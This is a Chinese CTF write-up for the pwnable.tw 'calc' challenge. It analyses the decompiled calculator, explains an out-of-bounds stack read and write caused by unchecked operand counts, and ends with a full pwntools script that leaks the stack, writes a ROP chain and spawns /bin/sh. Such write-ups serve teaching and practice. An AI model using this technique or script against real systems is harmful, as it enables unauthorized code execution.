1 程序分析
i386 架构,开了 Canary 和 NX
1 2 3 4 5 6 7 8
| (pwn) secreu@Vanilla:~/code/pwnable/calc$ checksec --file=calc [*] '/home/secreu/code/pwnable/calc/calc' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
|
1.1 程序流程
main 函数做了一些设置,关键内容应该在 calc 里面
1 2 3 4 5 6 7 8 9
| int __cdecl main(int argc, const char **argv, const char **envp) { ssignal(14, timeout); alarm(60); puts("=== Welcome to SECPROG calculator ==="); fflush(stdout); calc(); return puts("Merry Christmas!"); }
|
calc 循环调用 get_expr 接收计算表达式,然后调用 parse_expr 解析表达式,s 应该是用来存储表达式,v1 应该是解析表达式用的临时存储区,同时也存放计算结果 v1[v1[0]]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| unsigned int calc() { _DWORD v1[101]; _BYTE s[1024]; unsigned int v3;
v3 = __readgsdword(0x14u); while ( 1 ) { bzero(s, 0x400u); if ( !get_expr(s, 1024) ) break; init_pool(v1); if ( parse_expr(s, v1) ) { printf("%d\n", v1[v1[0]]); fflush(stdout); } } return __readgsdword(0x14u) ^ v3; }
|
init_pool(v1) 就是将 v1 指向的区域全部初始化为 0
进入 get_expr,作用是从标准输入读取一行字符,只保留数字 0~9 和算术运算符 (+ - * / %),丢弃其它输入。把结果写入 a1 指向的缓冲区,并在末尾补上 \x00,返回实际写入的长度。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| int __cdecl get_expr(int a1, int a2) { int v2; char v4; int v5;
v5 = 0; while ( v5 < a2 && read(0, &v4, 1) != -1 && v4 != 10 ) { if ( v4 == 43 || v4 == 45 || v4 == 42 || v4 == 47 || v4 == 37 || v4 > 47 && v4 <= 57 ) { v2 = v5++; *(_BYTE *)(a1 + v2) = v4; } } *(_BYTE *)(v5 + a1) = 0; return v5; }
|
读取完表达式后解析表达式 parse_expr,第一个参数 a1 是原始表达式存储区,第二个参数 a2 是临时缓冲区
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| int __cdecl parse_expr(int a1, _DWORD *a2) { int v3; int v4; int i; int v6; int v7; char *s1; int v9; _BYTE s[100]; unsigned int v11;
v11 = __readgsdword(0x14u); v4 = a1; v6 = 0; bzero(s, 0x64u); for ( i = 0; ; ++i ) { if ( (unsigned int)(*(char *)(i + a1) - 48) > 9 ) { v7 = i + a1 - v4; s1 = (char *)malloc(v7 + 1); memcpy(s1, v4, v7); s1[v7] = 0; if ( !strcmp(s1, "0") ) { puts("prevent division by zero"); fflush(stdout); return 0; } v9 = atoi(s1); if ( v9 > 0 ) { v3 = (*a2)++; a2[v3 + 1] = v9; } if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 ) { puts("expression error!"); fflush(stdout); return 0; } v4 = i + 1 + a1; if ( s[v6] ) { switch ( *(_BYTE *)(i + a1) ) { case '%': case '*': case '/': if ( s[v6] != 43 && s[v6] != 45 ) goto LABEL_14; s[++v6] = *(_BYTE *)(i + a1); break; case '+': case '-': LABEL_14: eval(a2, (char)s[v6]); s[v6] = *(_BYTE *)(i + a1); break; default: eval(a2, (char)s[v6--]); break; } } else { s[v6] = *(_BYTE *)(i + a1); } if ( !*(_BYTE *)(i + a1) ) break; } } while ( v6 >= 0 ) eval(a2, (char)s[v6--]); return 1; }
|
这个函数乍一看有点复杂,其实并不算简单,需要耐下心来跟踪一遍流程
在此之前,我们先看这里频繁出现的 eval,其第一个参数 a1 是临时缓冲区,第二个参数 a2 是运算符。该函数根据运算符做对应的 + - * / % 运算,例如对于加法,a1[0] 是第二个运算数在 a1 的索引,假设 a1[0] = n,则计算 a1[n-1] = a1[n-1] + a1[n],最后 n 也就是 a1[0] 自减 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| _DWORD *__cdecl eval(_DWORD *a1, char a2) { _DWORD *result;
if ( a2 == 43 ) { a1[*a1 - 1] += a1[*a1]; } else if ( a2 > 43 ) { if ( a2 == 45 ) { a1[*a1 - 1] -= a1[*a1]; } else if ( a2 == 47 ) { a1[*a1 - 1] /= (int)a1[*a1]; } } else if ( a2 == 42 ) { a1[*a1 - 1] *= a1[*a1]; } result = a1; --*a1; return result; }
|
回到 parse_expr,以 3 + 4 * 5 - 7 为例进行分析,其中的关键变量含义如下:
a1:待解析的运算表达式
a2:存储运算数的缓冲区,a2[0] 是已存的数量,a2[1] 开始才是运算数
s:存储运算符的缓冲区

最后输出计算结果 a2[a2[0]] = 16 这里的 a2 其实就是 calc 中的 v1
1.2 漏洞点
不难发现,eval 和 parse_expr 都没有对运算数和运算符进行数量匹配的检查
eval 用 a2[0] 索引第二个运算数,用 a2[0] - 1 索引第一个运算数,如果第一次运行 eval 时,a2[0] = 1,即只读取了一个数,那 eval 就会用已存数量 a2[0] 作为第一个运算数进行计算,造成越界访问
1.2.1 越界读
用 x 代表一个正整数,输入表达式 + x
进入 eval 时,a2[0] = 1、a2[1] = x,进行加法运算得到 a2[0] = 1 + x,退出 eval 前 a2[0]--。最终 calc 会输出计算结果 v1[x] 也就是 a2[x]
我们可以利用这一点输入一个很大的 x 造成越界读,从而泄露栈上的内容
1.2.2 越界写
用 x、y 分别代表一个正整数,输入表达式 + x + y
parse_expr 对于连续两个加法运算,会先计算第一个加法,第一次 eval 会使得 a2[0] = x,然后 y 被放进 a2,即 a2[x + 1] = y 并且 a2[0] = x + 1,接着第二次 eval 执行 a2[x] += y,退出前 a2[0]-- 得到 a2[0] = x。最终 calc 会输出计算结果 v1[x] 也就是 a2[x]
我们可以利用这一点造成越界写
+ x + y
a2[x + 1] = y
a2[x] += y
- leak
a2[x]
2 漏洞利用
利用思路很简单,我们要往栈上写 ROP 链和字符串 "/bin/sh\x00",故先泄露栈地址,然后写返回地址构造 ROP 执行系统调用 11,即 execve("/bin/sh\x00", 0, 0)
根据 calc 中对 v1 的定义,其到 saved ebp 距离为 0x5A0,每个元素大小为 double word 即 4 字节,所以我们要泄露的 saved ebp 索引为 0x5A0 / 4 = 360
1 2 3 4 5 6 7 8 9 10 11 12 13
| offset_to_saved_ebp = int(0x5A0 / 4) offset_to_saved_eip = offset_to_saved_ebp + 1
io.recv() io.sendline("+" + str(offset_to_saved_ebp)) saved_ebp = int(io.recvline().strip())
""" [DEBUG] Sent 0x5 bytes: b'+360\n' [DEBUG] Received 0x9 bytes: b'-4182232\n' """
|
收到一个负数,这是因为 saved ebp 最高字节是 0xff,导致我们计算出的 "/bin/sh\x00" 也是一个负数
因此我们不能使用 a2[x + 1] = y 这样直接赋值的方法,该方法要求 y 必须是正数,所以我们采用 a2[x] += y 这种加上一个差值的方法进行越界写布置 ROP 链
x32 系统调用前 3 个参数分别使用寄存器 ebx、ecx、edx,调用号使用寄存器 eax,找到 3 条 gadgets 完成寄存器设置,最后 int 80 即可
注意 "/bin/sh\x00" 地址如何计算
1 2 3
| pwndbg> x/8xw $ebp 0xffffc9d8: 0xffffc9f8 0x08049499 0x080ec200 0x08049434 0xffffc9e8: 0xffffca8c 0x080481b0 0x00000000 0x080ec00c
|
先调试查看到 saved ebp 值为 0xffffc9f8,对应的地址为 0xffffc9d8,他们之间相差 0x20,所以 saved ebp - 0x20 + 4 是我们 ROP 链开始的地址,然后再根据 ROP 链加上偏移即可
1 2 3 4 5 6 7 8 9 10 11 12 13
| pop_eax = 0x0805c34b pop_ecx_ebx = 0x080701d1 pop_edx = 0x080701aa int_0x80 = 0x08049a21
payload = [pop_eax, 0xb] payload += [pop_edx, 0] payload += [pop_ecx_ebx, 0, 0] payload += [int_0x80] binsh_addr = saved_ebp - 0x20 + len(payload) * 4 + 4 log.info("binsh_addr: " + hex(binsh_addr)) payload[6] = binsh_addr payload += [0x6e69622f, 0x0068732f]
|
最后用 + x + y 的方式布置 payload,我们要利用的是 a2[x] += y,所以先用 + x 泄露 a2[x] 上的内容,计算差值,再加上或者减去这个值即可
1 2 3 4 5 6 7 8 9 10 11 12 13
| for i in range(len(payload)): io.sendline("+" + str(offset_to_saved_eip + i)) val = int(io.recvline().strip())
diff = payload[i] - val
if diff < 0: io.sendline("+" + str(offset_to_saved_eip + i) + str(diff)) else: io.sendline("+" + str(offset_to_saved_eip + i) + "+" + str(diff)) io.recv() io.sendline() io.interactive()
|
3 利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import *
elf = ELF('./calc')
context(os=elf.os, arch=elf.arch, log_level='debug')
io = process(elf.path)
offset_to_saved_ebp = int(0x5A0 / 4) offset_to_saved_eip = offset_to_saved_ebp + 1
io.recv() io.sendline("+" + str(offset_to_saved_ebp)) saved_ebp = int(io.recvline().strip())
pop_eax = 0x0805c34b pop_ecx_ebx = 0x080701d1 pop_edx = 0x080701aa int_0x80 = 0x08049a21
payload = [pop_eax, 0xb] payload += [pop_edx, 0] payload += [pop_ecx_ebx, 0, 0] payload += [int_0x80] binsh_addr = saved_ebp - 0x20 + len(payload) * 4 + 4 log.info("binsh_addr: " + hex(binsh_addr)) payload[6] = binsh_addr payload += [0x6e69622f, 0x0068732f]
for i in range(len(payload)): io.sendline("+" + str(offset_to_saved_eip + i)) val = int(io.recvline().strip())
diff = payload[i] - val
if diff < 0: io.sendline("+" + str(offset_to_saved_eip + i) + str(diff)) else: io.sendline("+" + str(offset_to_saved_eip + i) + "+" + str(diff)) io.recv()
io.sendline() io.interactive()
|